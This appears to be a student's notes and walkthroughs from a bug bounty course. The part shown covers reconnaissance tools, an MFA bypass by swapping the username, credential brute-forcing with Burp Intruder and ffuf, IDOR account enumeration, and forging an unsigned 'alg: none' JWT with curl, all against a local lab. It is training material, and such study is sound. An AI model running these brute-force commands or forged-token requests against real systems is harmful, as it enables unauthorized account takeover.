TCM — Practical BUG BOUNTY : Part 1 Walkthrough

Practical Bug Bounty — Notes & Lab Walkthroughs

Personal notes and lab walkthroughs from TCM Security's Practical Bug Bounty course. Covers recon methodology, authentication attacks, injection vulnerabilities, XSS, SSRF, CSRF, file upload bugs, and more — all practiced against a locally hosted lab environment (private IP range 192.168.x.x).

⚠️ Disclaimer: These notes are for educational purposes only, based on an authorized local lab environment. Do not run these techniques against systems you don't own or don't have explicit written permission to test.

Table of Contents

• Lab Environment Setup
• Tooling Setup
• Essential Resources
• Core Methodology
• 1. HTTP & DNS Basics
• 2. Fingerprinting Web Technologies
• 3. Directory Enumeration & Brute-Forcing
• 4. Subdomain Enumeration
• 5. Burp Suite Setup
• Vulnerability Walkthroughs
• 6. Attacking MFA & Authentication
• 7. API Security Testing
• 8. Testing with Authorize (Access Control)
• 9. LFI / RFI (File Inclusion)
• 10. SQL Injection
• 11. Cross-Site Scripting (XSS)
• 12. Command Injection
• 13. Server-Side Template Injection (SSTI)
• 14. XXE (XML External Entity Injection)
• 15. Insecure File Upload
• 16. Automated Scanners
• 17. Cross-Site Request Forgery (CSRF)
• 18. Server-Side Request Forgery (SSRF)
• 19. Open Redirect
• 20. Bypassing Input Validation & Encoding
• Key Takeaways

Lab Environment Setup

All labs in this course are self-hosted (locally, in a private/VM network — seen throughout these notes as 192.168.106.129). No labs are hosted publicly by TCM; you build the vulnerable environment yourself before starting.

Lab files (zip): 🔗 CoderBlee/Practical-Bug-Bounty---TCM-Security-Course — download the ZIP from this repo; it includes the full lab setup guide for this course.

General setup flow (typical for this course's LAMP-based labs — confirm exact steps against the repo's own README/setup guide, as file names/commands may be updated):

1. Get a Linux environment ready — Kali Linux VM recommended (2–3 VMs total if running attacker + victim separately).
2. Download & extract the lab files from the link above.
3. Set up the web stack the labs expect (commonly PHP + MySQL — via XAMPP/LAMP or Docker, depending on how the repo packages it):

• If Docker-based: run the provided docker-compose up (or equivalent script) to build and start the vulnerable containers.
• If XAMPP/LAMP-based: place the extracted lab folder into your web server's document root (e.g. /var/www/html/), start Apache + MySQL, and import any provided .sql database file.

1. Note the local IP of your lab VM (ip a / ifconfig) — you'll use this instead of 192.168.106.129 if it differs on your machine.
2. Verify access by browsing to http://<lab-ip>/labs/ in your attacker VM's browser.
3. Reset the database between repeated attempts on the same lab if your changes (bio edits, added users, etc.) need to be undone — the repo setup guide usually includes a reset script or SQL import for this.

📌 Always double-check the exact install commands in the linked repo's setup guide before starting — package/Docker instructions can change over time.

Tooling Setup

• Install Jython in Kali (required for running Burp Suite extensions written in Python, e.g. Autorize). Add the downloaded Jython .jar under Burp → Extender → Options → Python Environment.

Essential Resources

Purpose Link Auth/MFA attack checklist AppSec Explained – Attacking MFA Practice API Cat Facts API JWT decoder jwt.io Request catcher (netcat alternative) webhook.site Payloads (all vuln types) PayloadsAllTheThings Burp Intruder payload lists 1N3/IntruderPayloads · BurpIntruderPayloads (path traversal fuzzing) Command injection cheat sheet HackTricks – Command Injection SQL syntax reference w3schools.com Stored XSS testing Firefox Multi-Account Containers extension

Core Methodology

The methodology always wins, not the tool.

1. HTTP & DNS Basics

HTTP Response Codes:

Range Meaning 1xx Informational 2xx Successful 3xx Redirection 4xx Client error 5xx Server error

DNS (Domain Name System): Sits above the IP layer — translates a human-readable domain name to the server's underlying IP address.

2. Fingerprinting Web Technologies

Before accepting any bug bounty challenge:

• Do thorough recon using public information only
• Read the program's rules carefully (in-scope vs out-of-scope)

Recon tools:

Tool Type Use builtwith.com Website Identify tech stack securityheaders.com Website Check security headers Wappalyzer Browser extension Tech fingerprinting Nmap CLI tool Port/service scanning curl -i <url> CLI Quick header check

3. Directory Enumeration & Brute-Forcing

1. Scan open ports with Nmap
2. Brute-force directories with ffuf (fast, best for this)
3. dirb / dirbuster (remember to background dirbuster with &)

4. Subdomain Enumeration

Method Command Google Dorking site:target.com crt.sh Certificate transparency search subfinder subfinder -d target.com assetfinder ⭐ (best tool) assetfinder target.com amass (slow but thorough) amass enum -d target.com -o result.txt httprobe Probe for live HTTP(S) hosts gowitness Screenshot discovered hosts

5. Burp Suite Setup

To capture traffic for only the target site: Target tab → Scope → Include in scope → Add → paste target URL

Vulnerability Walkthroughs

6. Attacking MFA & Authentication

Lab: Auth 0x02 — MFA Bypass

Target account: jeremy | Test credentials: jessamy:pasta

1. Log in as jessamy:pasta and complete the MFA challenge, then log out.
2. Log in again with jessamy:pasta. When prompted for the MFA code, intercept the request in Burp.
3. Change the username field from jessamy to jeremy, keep the same MFA code (still jessamy's), and forward.
4. MFA is bypassed — the code isn't actually bound to the account it's checked against.

Lab: Auth 0x03 — Credential Brute-Force

1. Intercept a login attempt with a guessed username/password.
2. Send to Intruder → add payload positions on both fields → select Cluster Bomb attack.
3. Username wordlist:

• find /usr/share/seclists -name '*user*'

1. Password wordlist (top 10 only):

• head /usr/share/seclists/Passwords/Common-Credentials/xato-net-10-million-passwords-10.txt

1. Start the attack and sort by response length — the outlier reveals valid credentials.

Alternative — ffuf:

# Save intercepted request as req1.txt
ffuf -request req1.txt -request-proto http -mode clusterbomb \
  -w /usr/share/seclists/Usernames/top-usernames-shortlist.txt:FUZZUSER \
  -w pass.txt:FUZZPASS

# Save intercepted request as req1.txt
ffuf -request req1.txt -request-proto http -mode clusterbomb \
  -w /usr/share/seclists/Usernames/top-usernames-shortlist.txt:FUZZUSER \
  -w pass.txt:FUZZPASS

Check the response with the max content length — that's the successful login.

Lab: Auth 0x04 / IDOR 0x01 — Account Enumeration

The lab exposes an account listing with a sequential account number in the URL. Goal: find the admin account.

1. Generate a number list with Python:

• for i in range(1, 5000): print(i)

1. Save output to numbers.txt.
2. Brute-force the account parameter in Burp Intruder with this list, and look for the admin user type.

Alternative — ffuf:

ffuf -u 'http://192.168.106.129/labs/e0x02.php?account=FUZZ' -w numbers.txt -mr 'admin'

ffuf -u 'http://192.168.106.129/labs/e0x02.php?account=FUZZ' -w numbers.txt -mr 'admin'

7. API Security Testing

Lab: APIs 0x01 / Auth 0x05 — JWT Manipulation

1. Log in via API and grab the JWT:

• curl -X POST http://192.168.106.129/labs/api/login.php \ -H "Content-Type: application/json" \ -d '{"username":"jeremy","password":"cheesecake"}'

1. Decode the token at jwt.io, or manually:

• echo "<token>" | base64 -d

1. Use the token to fetch account data:

• curl -X GET "http://localhost/labs/api/account.php?token=<JWT>" \ -H "Content-Type: application/json"

1. Update bio using an unsigned JWT (alg: none) — the API doesn't verify the signature:

bash

curl -X PUT http://localhost/labs/api/account.php \
     -H "Content-Type: application/json" \
     -d '{"token":"eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0=.eyJ1c2VyIjoiamVyZW15Iiwicm9sZSI6InN0YWZmIn0=.","username":"jeremy","bio":"bug bounty hunter"}'

curl -X PUT http://localhost/labs/api/account.php \
     -H "Content-Type: application/json" \
     -d '{"token":"eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0=.eyJ1c2VyIjoiamVyZW15Iiwicm9sZSI6InN0YWZmIn0=.","username":"jeremy","bio":"bug bounty hunter"}'

1. Verify the change with the same GET request as step 3.
2. Broken Object Level Authorization test: using jeremy's token, attempt to update jessamy's bio — if it succeeds, that's a BOLA/IDOR vulnerability via the API.